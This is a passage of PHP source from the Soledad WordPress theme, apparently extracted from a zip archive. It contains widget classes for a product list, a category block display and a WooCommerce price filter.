                <select id="<?php echo esc_attr( $this->get_field_id( 'orderby' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'orderby' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='date' <?php if ( 'date' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Published Date', 'soledad' ); ?></option>
                    <option value='price' <?php if ( 'price' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Price', 'soledad' ); ?></option>
                    <option value='rand' <?php if ( 'rand' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Random', 'soledad' ); ?></option>
                    <option value='sales' <?php if ( 'sales' == $instance['orderby'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'Sales', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Order -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"><?php esc_html_e( 'Select Order Type:', 'soledad' ); ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'order' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'order' ) ); ?>" class="widefat orderby"
                        style="width:100%;">
                    <option value='DESC' <?php if ( 'DESC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'DESC ( Descending Order )', 'soledad' ); ?></option>
                    <option value='ASC' <?php if ( 'ASC' == $instance['order'] ) {
						echo 'selected="selected"';
					} ?>><?php esc_html_e( 'ASC ( Ascending Order )', 'soledad' ); ?></option>
                </select>
            </p>

            <!-- Number of posts -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"><?php esc_html_e( 'Number of posts to show:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'number' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number' ) ); ?>"
                       value="<?php echo esc_attr( $instance['number'] ); ?>" size="3"/>
            </p>

            <!-- Offset of products -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"><?php esc_html_e( 'Number of offset Posts:', 'soledad' ); ?></label>
                <input type="text" class="widefat" id="<?php echo esc_attr( $this->get_field_id( 'offset' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'offset' ) ); ?>"
                       value="<?php echo esc_attr( $instance['offset'] ); ?>" size="3"/>
            </p>

            <!-- Products Misc -->
            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_free' ) ); ?>"><?php esc_html_e( 'Hide Free Products?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_free' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_free' ) ); ?>" <?php checked( (bool) $instance['hide_free'], true ); ?> />
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_hidden' ) ); ?>"><?php esc_html_e( 'Show Hidden Products?:', 'soledad' ); ?></label>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'show_hidden' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_hidden' ) ); ?>" <?php checked( (bool) $instance['show_hidden'], true ); ?> />
            </p>

			<?php
		}

		function update( $new_instance, $old_instance ) {
			$instance = $old_instance;

			$data_instance = $this->soledad_widget_defaults();

			foreach ( $data_instance as $data => $value ) {
				$instance[ $data ] = ! empty( $new_instance[ $data ] ) ? $new_instance[ $data ] : '';
			}

			if ( ! empty( $new_instance['cats_id'] ) ) {
				if ( is_array( $new_instance['cats_id'] ) ) {
					$instance['cats_id'] = implode( ',', $new_instance['cats_id'] );
				} else {
					$instance['cats_id'] = esc_sql( $new_instance['cats_id'] );
				}
			} else {
				$instance['cats_id'] = false;
			}

			if ( ! empty( $new_instance['tags_id'] ) ) {
				if ( is_array( $new_instance['tags_id'] ) ) {
					$instance['tags_id'] = implode( ',', $new_instance['tags_id'] );
				} else {
					$instance['tags_id'] = esc_sql( $new_instance['tags_id'] );
				}
			} else {
				$instance['tags_id'] = false;
			}

			$this->flush_widget_cache();

			return $instance;
		}
	}

	add_action( 'widgets_init', function () {
		register_widget( 'Penci_Product_Lists' );
	} );
}
PK     2w\z=:  :    widgets/categories_stylist.phpnu [        <?php

if ( ! class_exists( 'penci_categories_stylist' ) ) {

	/**
	 * Register the widget.
	 */
	add_action( 'widgets_init', 'penci_categories_stylist_widget_register' );
	function penci_categories_stylist_widget_register() {
		register_widget( 'penci_categories_stylist' );
	}

	/**
	 * Widget API: penci_categories_stylist class
	 */
	class penci_categories_stylist extends WP_Widget {


		public function __construct() {
			$widget_ops = array( 'classname' => 'penci-categories-stylist' );
			parent::__construct( 'penci-categories-stylist', penci_get_theme_name( '.Soledad', true ) . esc_html__( 'Categories Stylist', 'soledad' ), $widget_ops );
		}

		/**
		 * Outputs the content for the widget instance.
		 */
		public function widget( $args, $instance ) {

			/** This filter is documented in wp-includes/widgets/class-wp-widget-pages.php */
			$instance['title'] = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance, $this->id_base );

			echo( $args['before_widget'] );

			if ( ! empty( $instance['title'] ) ) {
				echo( $args['before_title'] . $instance['title'] . $args['after_title'] );
			}

			$style  = ! empty( $instance['style'] ) ? $instance['style'] : '';
			$layout = ! empty( $instance['layout'] ) ? $instance['layout'] : '';

			$show_bgs   = ! empty( $instance['show_bgs'] ) ? 'true' : false;
			$show_count = ! empty( $instance['show_count'] ) ? 'true' : false;
			$hide_empty = isset( $instance['hide_empty'] ) ? $instance['hide_empty'] : '';
			$maxitems   = isset( $instance['maxitems'] ) ? $instance['maxitems'] : '';

			$ratio        = isset( $instance['ratio'] ) ? $instance['ratio'] : '';
			$number_fsize = isset( $instance['number_fsize'] ) ? $instance['number_fsize'] : '';
			$title_fsize  = isset( $instance['title_fsize'] ) ? $instance['title_fsize'] : '';


			$categories_exclude = ! empty( $instance['categories_exclude'] ) ? explode( ',', $instance['categories_exclude'] ) : array();
			$categories_include = ! empty( $instance['categories_include'] ) ? explode( ',', $instance['categories_include'] ) : array();

			$this->penci_category_brand_block( array(
				'style'        => $style,
				'layout'       => $layout,
				'count'        => $show_count,
				'bgs'          => $show_bgs,
				'hide_empty'   => $hide_empty,
				'maxitems'     => $maxitems,
				'exclude'      => $categories_exclude,
				'include'      => $categories_include,
				'ratio'        => $ratio,
				'title_fsize'  => $title_fsize,
				'number_fsize' => $number_fsize,
			) );

			echo( $args['after_widget'] );
		}

		public function penci_category_brand_block( $args = array() ) {

			// Default Args
			$args = wp_parse_args( $args, array(
				'title'        => false,
				'style'        => false,
				'layout'       => false,
				'count'        => false,
				'bgs'          => false,
				'parent'       => false,
				'before'       => false,
				'after'        => false,
				'hide_empty'   => true,
				'maxitems'     => '',
				'exclude'      => '',
				'include'      => '',
				'ratio'        => '',
				'title_fsize'  => '',
				'number_fsize' => '',
			) );

			extract( $args );

			// Block Style
			$style = ! empty( $style ) ? 'categories-block-' . $style : 'categories-block-vertical';

			// Block Layout
			if ( ! empty( $layout ) ) {
				$columns = explode( '-', $layout );
				$layout  = 'categories-layout-wrap';
				$layout  .= ! empty( $columns[1] ) ? ' categories-wrap-' . $columns[1] : '';
			} else {
				$layout = 'categories-layout-scroll';
			}

			$get_args = array(
				'hide_empty' => $hide_empty,
				'parent'     => $parent,
				'number'     => $maxitems,
			);

			if ( $exclude ) {
				$get_args['exclude'] = is_array( $exclude ) ? $exclude : explode( ',', $exclude );
			}

			if ( $include ) {
				$get_args['include'] = is_array( $include ) ? $include : explode( ',', $include );
			}

			// Get the categories List
			$cats = get_categories( $get_args );

			$id = 'penci-categories-stylist-' . rand();


			if ( ! empty( $cats ) ) {

				// Get the categories custom Settings
				$penci_cats_options = get_option( 'penci_cats_options' );


				echo( $before ); ?>

                <div id="<?php echo esc_attr( $id ); ?>" class="categories-block <?php echo $style ?>">

                    <ul class="<?php echo $layout ?>">
						<?php

						foreach ( $cats as $cat ) {

							$cat_class    = array( 'cat-block-' . $cat->term_id );
							$penci_cat_bg = get_default_term_thumb_url( $cat->term_id, 'penci-masonry-thumb' );

							$brand_bg = false;
							if ( $penci_cat_bg && $bgs ) {
								$cat_class[] = 'has-bg';
							}
							?>

                            <li class="<?php echo join( ' ', $cat_class ) ?>">
								<?php if ( $penci_cat_bg && $bgs ) { ?>
                                    <div <?php echo penci_layout_bg( $penci_cat_bg ); ?> class="<?php echo penci_layout_bg_class();?> penci-image-holder">
	                                    <?php echo penci_layout_img( $penci_cat_bg ); ?>
                                    </div>
								<?php } ?>
                                <a href="<?php echo get_category_link( $cat->term_id ) ?>">
                                    <div class="category-title"><?php echo esc_html( $cat->name ) ?></div>
									<?php if ( $count ) { ?>
                                        <span class="category-count"><?php echo esc_html( $cat->count ) ?></span>
									<?php } ?>
                                </a>
                            </li>

							<?php
						}
						?>
                    </ul>
                </div>
				<?php

				echo '<style>';

				if ( $ratio ) {
					echo '#' . $id . ' li{padding-top:' . esc_attr( $ratio ) . 'px;padding-bottom:' . esc_attr( $ratio ) . 'px}';
				}

				if ( $title_fsize ) {
					echo '#' . $id . ' .category-title{font-size:' . esc_attr( $title_fsize ) . ';}';
				}

				if ( $number_fsize ) {
					echo '#' . $id . ' .category-count{font-size:' . esc_attr( $number_fsize ) . ';}';
				}

				echo '</style>';

				echo( $after );
			}
		}

		/**
		 * Handles updating settings for widget instance.
		 */
		public function update( $new_instance, $old_instance ) {
			$instance          = $old_instance;
			$instance['title'] = sanitize_text_field( $new_instance['title'] );

			$instance['style']  = $new_instance['style'];
			$instance['layout'] = $new_instance['layout'];

			$instance['show_bgs']   = ! empty( $new_instance['show_bgs'] ) ? 'true' : false;
			$instance['show_icon']  = ! empty( $new_instance['show_icon'] ) ? 'true' : false;
			$instance['show_count'] = ! empty( $new_instance['show_count'] ) ? 'true' : false;

			$instance['categories_exclude'] = $new_instance['categories_exclude'];
			$instance['categories_include'] = $new_instance['categories_include'];
			$instance['hide_empty']         = $new_instance['hide_empty'];
			$instance['maxitems']           = $new_instance['maxitems'];
			$instance['ratio']              = $new_instance['ratio'];
			$instance['title_fsize']        = $new_instance['title_fsize'];
			$instance['number_fsize']       = $new_instance['number_fsize'];

			return $instance;
		}

		/**
		 * Outputs the settings form for the widget.
		 */
		public function form( $instance ) {
			$defaults = array( 'title' => esc_html__( 'Categories', 'soledad' ) );
			$instance = wp_parse_args( (array) $instance, $defaults );

			$title  = ! empty( $instance['title'] ) ? $instance['title'] : '';
			$style  = ! empty( $instance['style'] ) ? $instance['style'] : '';
			$layout = ! empty( $instance['layout'] ) ? $instance['layout'] : '';

			$show_bgs   = ! empty( $instance['show_bgs'] ) ? 'true' : false;
			$show_count = ! empty( $instance['show_count'] ) ? 'true' : false;

			$categories_exclude = ! empty( $instance['categories_exclude'] ) ? $instance['categories_exclude'] : '';
			$categories_include = ! empty( $instance['categories_include'] ) ? $instance['categories_include'] : '';

			// Layout Options
			$layouts_list = array(
				''           => esc_html__( 'Horizontal', 'soledad' ),
				'vertical-1' => esc_html__( 'Vertical', 'soledad' ),
			);

			$style_list = array(
				'horizontal' => esc_html__( 'Style 1', 'soledad' ),
				'vertical'   => esc_html__( 'Style 2', 'soledad' ),
			);


			?>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"><?php esc_html_e( 'Title', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'title' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title' ) ); ?>"
                       value="<?php echo esc_attr( $title ); ?>" class="widefat" type="text"/>
            </p>


            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"><?php esc_html_e( 'Style:', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'style' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'style' ) ); ?>" class="widefat">
					<?php
					foreach ( $style_list as $style_id => $style_text ) { ?>
                        <option value="<?php echo esc_attr( $style_id ) ?>" <?php selected( $style, $style_id ); ?>><?php echo esc_attr( $style_text ) ?></option>
						<?php
					}
					?>
                </select>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"><?php esc_html_e( 'Layout:', 'soledad' ) ?></label>
                <select id="<?php echo esc_attr( $this->get_field_id( 'layout' ) ); ?>"
                        name="<?php echo esc_attr( $this->get_field_name( 'layout' ) ); ?>" class="widefat">
					<?php
					foreach ( $layouts_list as $layout_id => $layout_text ) { ?>
                        <option value="<?php echo esc_attr( $layout_id ) ?>" <?php selected( $layout, $layout_id ); ?>><?php echo esc_attr( $layout_text ) ?></option>
						<?php
					}
					?>
                </select>
            </p>

            <p>
                <input id="<?php echo esc_attr( $this->get_field_id( 'show_count' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_count' ) ); ?>"
                       value="true" <?php checked( $show_count, 'true' ); ?> type="checkbox"/>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_count' ) ); ?>"><?php esc_html_e( 'Show Number of Posts', 'soledad' ) ?></label>
            </p>

            <p>
                <input id="<?php echo esc_attr( $this->get_field_id( 'show_bgs' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'show_bgs' ) ); ?>"
                       value="true" <?php checked( $show_bgs, 'true' ); ?> type="checkbox"/>
                <label for="<?php echo esc_attr( $this->get_field_id( 'show_bgs' ) ); ?>"><?php esc_html_e( 'Show Backgrounds', 'soledad' ) ?></label>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'ratio' ) ); ?>">Custom Image Padding Top &
                    Bottom</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'ratio' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'ratio' ) ); ?>"
                       value="<?php echo isset( $instance['ratio'] ) ? $instance['ratio'] : ''; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>">Custom Font Size for
                    Category Titles</label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'title_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'title_fsize' ) ); ?>"
                       value="<?php echo isset( $instance['title_fsize'] ) ? $instance['title_fsize'] : ''; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'number_fsize' ) ); ?>">Custom Font Size for
                    Category Counts</label>
                <input type="text" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'number_fsize' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'number_fsize' ) ); ?>"
                       value="<?php echo isset( $instance['number_fsize'] ) ? $instance['number_fsize'] : ''; ?>">
            </p>

            <p>
                <input type="checkbox" id="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'hide_empty' ) ); ?>" <?php isset( $instance['hide_empty'] ) ? checked( (bool) $instance['hide_empty'], true ) : ''; ?> />
                <label for="<?php echo esc_attr( $this->get_field_id( 'hide_empty' ) ); ?>"><?php esc_html_e( 'Show empty term?', 'soledad' ); ?></label>
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>">Limit Number of Categories to
                    Show</label>
                <input type="number" class="widefat"
                       id="<?php echo esc_attr( $this->get_field_id( 'maxitems' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'maxitems' ) ); ?>"
                       value="<?php echo isset( $instance['maxitems'] ) ? $instance['maxitems'] : ''; ?>">
            </p>

            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'categories_include' ) ); ?>"><?php esc_html_e( 'Include Categories', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'categories_include' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'categories_include' ) ); ?>"
                       value="<?php echo esc_attr( $categories_include ); ?>" class="widefat" type="text"/>
                <br/>
				<?php esc_html_e( 'Enter a category ID, or IDs separated by comma.', 'soledad' ); ?>
            </p>


            <p>
                <label for="<?php echo esc_attr( $this->get_field_id( 'categories_exclude' ) ); ?>"><?php esc_html_e( 'Exclude Categories', 'soledad' ) ?></label>
                <input id="<?php echo esc_attr( $this->get_field_id( 'categories_exclude' ) ); ?>"
                       name="<?php echo esc_attr( $this->get_field_name( 'categories_exclude' ) ); ?>"
                       value="<?php echo esc_attr( $categories_exclude ); ?>" class="widefat" type="text"/>
                <br/>
				<?php esc_html_e( 'Enter a category ID, or IDs separated by comma.', 'soledad' ); ?>
            </p>


			<?php
		}
	}

}
PK     2w\P @  @    widgets/price_filter.phpnu [        <?php
/**
 * Price filter step
 *
 */

if ( ! class_exists( 'Penci_Widget_Price_Filter' ) ) {
	class Penci_Widget_Price_Filter extends WPH_Widget {

		private $_check_ranges = false;

		function __construct() {

			// Configure widget array
			$args = array(
				// Widget Backend label
				'label'       => penci_get_theme_name('.Soledad',true).esc_html__( 'Price filter', 'soledad' ),
				// Widget Backend Description								
				'description' => esc_html__( 'Price filter list', 'soledad' ),
				'slug'        => 'soledad-price-filter',
			);

			// Configure the widget fields

			// fields array
			$args['fields'] = array(
				array(
					'id'   => 'title',
					'type' => 'text',
					'std'  => esc_html__( 'Price filter', 'soledad' ),
					'name' => esc_html__( 'Title', 'soledad' )
				),
				array(
					'id'          => 'show_ranges',
					'type'        => 'checkbox',
					'name'        => esc_html__( 'Show empty price ranges', 'soledad' ),
					'description' => esc_html__( 'May increase this widget performance if you have a lot of products in your store.', 'soledad' ),
				),
			);

			$this->_check_ranges = true;

			// create widget
			$this->create_widget( $args );
		}

		// Output function
		// Based on woo widget @version  2.3.0
		function widget( $args, $instance ) {
			global $wp, $wp_the_query;

			if ( ! is_post_type_archive( 'product' ) && ! is_tax( get_object_taxonomies( 'product' ) ) ) {
				return;
			}

			if ( ! $wp_the_query->post_count ) {
				return;
			}

			$min_price = isset( $_GET['min_price'] ) ? esc_attr( $_GET['min_price'] ) : '';
			$max_price = isset( $_GET['max_price'] ) ? esc_attr( $_GET['max_price'] ) : '';

			// Find min and max price in current result set
			//WC 3.6.0
			if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
				$prices = $this->get_filtered_price();
			} else {
				$prices = $this->get_filtered_price_new();
			}

			$min = apply_filters( 'woocommerce_price_filter_widget_min_amount', floor( $prices->min_price ) );
			$max = apply_filters( 'woocommerce_price_filter_widget_max_amount', ceil( $prices->max_price ) );

			if ( $min === $max ) {
				return;
			}

			echo wp_kses_post( $args['before_widget'] );

			if ( $title = apply_filters( 'widget_title', empty( $instance['title'] ) ? '' : $instance['title'], $instance ) ) {
				echo wp_kses_post( $args['before_title'] ) . $title . wp_kses_post( $args['after_title'] );
			}

			/**
			 * Adjust max if the store taxes are not displayed how they are stored.
			 * Min is left alone because the product may not be taxable.
			 * Kicks in when prices excluding tax are displayed including tax.
			 */
			if ( wc_tax_enabled() && 'incl' === get_option( 'woocommerce_tax_display_shop' ) && ! wc_prices_include_tax() ) {
				$tax_classes = array_merge( array( '' ), WC_Tax::get_tax_classes() );
				$class_max   = $max;

				foreach ( $tax_classes as $tax_class ) {
					if ( $tax_rates = WC_Tax::get_rates( $tax_class ) ) {
						$class_max = $max + WC_Tax::get_tax_total( WC_Tax::calc_exclusive_tax( $max, $tax_rates ) );
					}
				}

				$max = $class_max;
			}

			$show_ranges = isset( $instance['show_ranges'] ) ? $instance['show_ranges'] : true;

			$links = $this->generate_price_links( $min, $max, $min_price, $max_price, $show_ranges );

			if ( ! empty( $links ) ) {
				?>
                <div class="penci-price-filter">
                    <ul>
						<?php foreach ( $links as $link ) : ?>
                            <li>
                                <a rel="nofollow noopener" href="<?php echo esc_url( $link['href'] ); ?>"
                                   class="<?php echo esc_attr( $link['class'] ); ?>"><?php echo wp_kses( $link['title'], array(
										'br'     => array(),
										'i'      => array(),
										'b'      => array(),
										'u'      => array(),
										'em'     => array(),
										'del'    => array(),
										'a'      => array(
											'href'   => true,
											'class'  => true,
											'target' => true,
											'title'  => true,
											'rel'    => true,
										),
										'strong' => array(),
										'span'   => array(
											'style' => true,
											'class' => true,
										),
									) ); ?></a>
                            </li>
						<?php endforeach; ?>
                    </ul>
                </div>
				<?php
			}

			echo wp_kses_post( $args['after_widget'] );
		}

		/**
		 * Get filtered min price for current products.
		 * @return int
		 */
		protected function get_filtered_price() {
			global $wpdb, $wp_the_query;

			$args       = $wp_the_query->query_vars;
			$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
			$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

			if ( ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
				$tax_query[] = array(
					'taxonomy' => $args['taxonomy'],
					'terms'    => array( $args['term'] ),
					'field'    => 'slug',
				);
			}

			foreach ( $meta_query as $key => $query ) {
				if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
					unset( $meta_query[ $key ] );
				}
			}

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );

			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

			$sql = "SELECT min( FLOOR( price_meta.meta_value ) ) as min_price, max( CEILING( price_meta.meta_value ) ) as max_price FROM {$wpdb->posts} ";
			$sql .= " LEFT JOIN {$wpdb->postmeta} as price_meta ON {$wpdb->posts}.ID = price_meta.post_id " . $tax_query_sql['join'] . $meta_query_sql['join'];
			$sql .= " 	WHERE {$wpdb->posts}.post_type = 'product'
						AND {$wpdb->posts}.post_status = 'publish'
						AND price_meta.meta_key IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_meta_keys', array( '_price' ) ) ) ) . "')
						AND price_meta.meta_value > '' ";
			$sql .= $tax_query_sql['where'] . $meta_query_sql['where'];

			return $wpdb->get_row( $sql );
		}

		protected function get_filtered_price_new() {
			global $wpdb;

			$args       = WC()->query->get_main_query()->query_vars;
			$tax_query  = isset( $args['tax_query'] ) ? $args['tax_query'] : array();
			$meta_query = isset( $args['meta_query'] ) ? $args['meta_query'] : array();

			if ( ! is_post_type_archive( 'product' ) && ! empty( $args['taxonomy'] ) && ! empty( $args['term'] ) ) {
				$tax_query[] = array(
					'taxonomy' => $args['taxonomy'],
					'terms'    => array( $args['term'] ),
					'field'    => 'slug',
				);
			}

			foreach ( $meta_query + $tax_query as $key => $query ) {
				if ( ! empty( $query['price_filter'] ) || ! empty( $query['rating_filter'] ) ) {
					unset( $meta_query[ $key ] );
				}
			}

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );
			$search     = WC_Query::get_main_search_query_sql();

			$meta_query_sql   = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql    = $tax_query->get_sql( $wpdb->posts, 'ID' );
			$search_query_sql = $search ? ' AND ' . $search : '';

			$sql = "
				SELECT min( min_price ) as min_price, MAX( max_price ) as max_price
				FROM {$wpdb->wc_product_meta_lookup}
				WHERE product_id IN (
					SELECT ID FROM {$wpdb->posts}
					" . $tax_query_sql['join'] . $meta_query_sql['join'] . "
					WHERE {$wpdb->posts}.post_type IN ('" . implode( "','", array_map( 'esc_sql', apply_filters( 'woocommerce_price_filter_post_type', array( 'product' ) ) ) ) . "')
					AND {$wpdb->posts}.post_status = 'publish'
					" . $tax_query_sql['where'] . $meta_query_sql['where'] . $search_query_sql . '
				)';

			$sql = apply_filters( 'woocommerce_price_filter_sql', $sql, $meta_query_sql, $tax_query_sql );

			return $wpdb->get_row( $sql ); // WPCS: unprepared SQL ok.
		}

		private function generate_price_links( $min, $max, $min_price, $max_price, $show_ranges ) {
			$links = array();

			// Remember current filters/search
			$link          = penci_shop_page_link( true );
			$link_no_price = remove_query_arg( 'min_price', $link );
			$link_no_price = remove_query_arg( 'max_price', $link_no_price );

			$need_more = false;

			$steps = 4;
			//$steps = $max / $step_value;

			$step_value = $max / $steps;

			if ( $step_value < 10 ) {
				$step_value = 10;
			}

			$step_value = round( $step_value, - 1 );

			$all_link_class = '';
			if ( empty( $min_price ) && empty( $max_price ) ) {
				$all_link_class = 'current-state';
			}
			// Link to all prices
			$links[] = array(
				'href'  => $link_no_price,
				'title' => esc_html__( 'All', 'soledad' ),
				'class' => $all_link_class
			);

			for ( $i = 0; $i < (int) $steps; $i ++ ) {

				$step_title = $step_class = $href = '';

				$step_min = $step_value * $i;

				$step_max = $step_value * ( $i + 1 );

				if ( $step_max > $max ) {
					$need_more = true;
					$i ++;
					break;
				}

				$href = add_query_arg( 'min_price', $step_min, $link );
				$href = add_query_arg( 'max_price', $step_max, $href );

				$step_title = wc_price( $step_min ) . ' - ' . wc_price( $step_max );

				if ( ! empty( $min_price ) && ! empty( $max_price ) && ( $min_price >= $step_min && $max_price <= $step_max )
				     || ( $i == 0 && ! empty( $max_price ) && $max_price <= $step_max )
				) {
					$step_class = 'current-state';
				}

				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					if ( $this->check_range( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				} else {
					if ( $this->check_range_new( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				}
			}

			if ( $max > $step_max ) {
				$need_more = true;
				$step_min  = $step_value * $i;
			}

			if ( $need_more ) {

				$step_title = $step_class = $href = '';

				$href = add_query_arg( 'min_price', $step_min, $link );
				$href = add_query_arg( 'max_price', $max, $href );

				$step_title = wc_price( $step_min ) . ' +';

				if ( $min_price >= $step_min && $max_price <= $max ) {
					$step_class = 'current-state';
				}

				//WC 3.6.0
				if ( function_exists( 'WC' ) && version_compare( WC()->version, '3.6.0', '<' ) ) {
					if ( $this->check_range( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				} else {
					if ( $this->check_range_new( $step_min, $step_max, $show_ranges ) ) {
						$links[] = array(
							'href'  => $href,
							'title' => $step_title,
							'class' => $step_class
						);
					}
				}
			}

			return $links;
		}

		private function check_range( $min, $max, $show_ranges ) {
			global $wpdb;

			if ( ! $this->_check_ranges || $show_ranges ) {
				return true;
			}

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );

			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

			// Generate query
			$query           = array();
			$query['select'] = "SELECT COUNT( DISTINCT {$wpdb->posts}.ID ) as range_count";
			$query['from']   = "FROM {$wpdb->posts}";

			$query['join'] = "
				INNER JOIN {$wpdb->term_relationships} AS term_relationships ON {$wpdb->posts}.ID = term_relationships.object_id
				INNER JOIN {$wpdb->term_taxonomy} AS term_taxonomy USING( term_taxonomy_id )
				INNER JOIN {$wpdb->terms} AS terms USING( term_id )
				INNER JOIN {$wpdb->postmeta} ON ( {$wpdb->posts}.ID = {$wpdb->postmeta}.post_id )
				" . $tax_query_sql['join'];


			$query['where'] = "
				WHERE {$wpdb->posts}.post_type IN ( 'product' )
				AND {$wpdb->posts}.post_status = 'publish'
				AND {$wpdb->postmeta}.meta_key = '_price' AND CAST({$wpdb->postmeta}.meta_value AS DECIMAL) BETWEEN '" . $min . "' AND '" . $max . "'
				" . $tax_query_sql['where'] . "
			";

			if ( method_exists( 'WC_Query', 'get_main_search_query_sql' ) && $search = WC_Query::get_main_search_query_sql() ) {

				$query['where'] .= ' AND ' . $search;

				if ( get_theme_mod( 'penci_woo_search_by_sku' ) ) {
					// search for variations with a matching sku and return the parent.
					$sku_to_parent_id = $wpdb->get_col( $wpdb->prepare( "SELECT p.post_parent as post_id FROM {$wpdb->posts} as p join {$wpdb->postmeta} pm on p.ID = pm.post_id and pm.meta_key='_sku' and pm.meta_value LIKE '%%%s%%' where p.post_parent <> 0 group by p.post_parent", wc_clean( $_GET['s'] ) ) );

					//Search for a regular product that matches the sku.
					$sku_to_id = $wpdb->get_col( $wpdb->prepare( "SELECT post_id FROM {$wpdb->postmeta} WHERE meta_key='_sku' AND meta_value LIKE '%%%s%%';", wc_clean( $_GET['s'] ) ) );

					$search_ids = array_merge( $sku_to_id, $sku_to_parent_id );

					$search_ids = array_filter( array_map( 'absint', $search_ids ) );

					if ( sizeof( $search_ids ) > 0 ) {
						$query['where'] = str_replace( '))', ") OR ({$wpdb->posts}.ID IN (" . implode( ',', $search_ids ) . ")))", $query['where'] );
					}
				}

			}

			$query   = implode( ' ', $query );
			$results = $wpdb->get_var( $query );

			return $results > 0;
		}

		private function check_range_new( $min, $max, $show_ranges ) {
			global $wpdb;

			if ( ! $this->_check_ranges || $show_ranges ) {
				return true;
			}

			$tax_query  = WC_Query::get_main_tax_query();
			$meta_query = WC_Query::get_main_meta_query();

			$meta_query = new WP_Meta_Query( $meta_query );
			$tax_query  = new WP_Tax_Query( $tax_query );

			$meta_query_sql = $meta_query->get_sql( 'post', $wpdb->posts, 'ID' );
			$tax_query_sql  = $tax_query->get_sql( $wpdb->posts, 'ID' );

			// Generate query
			$query           = array();
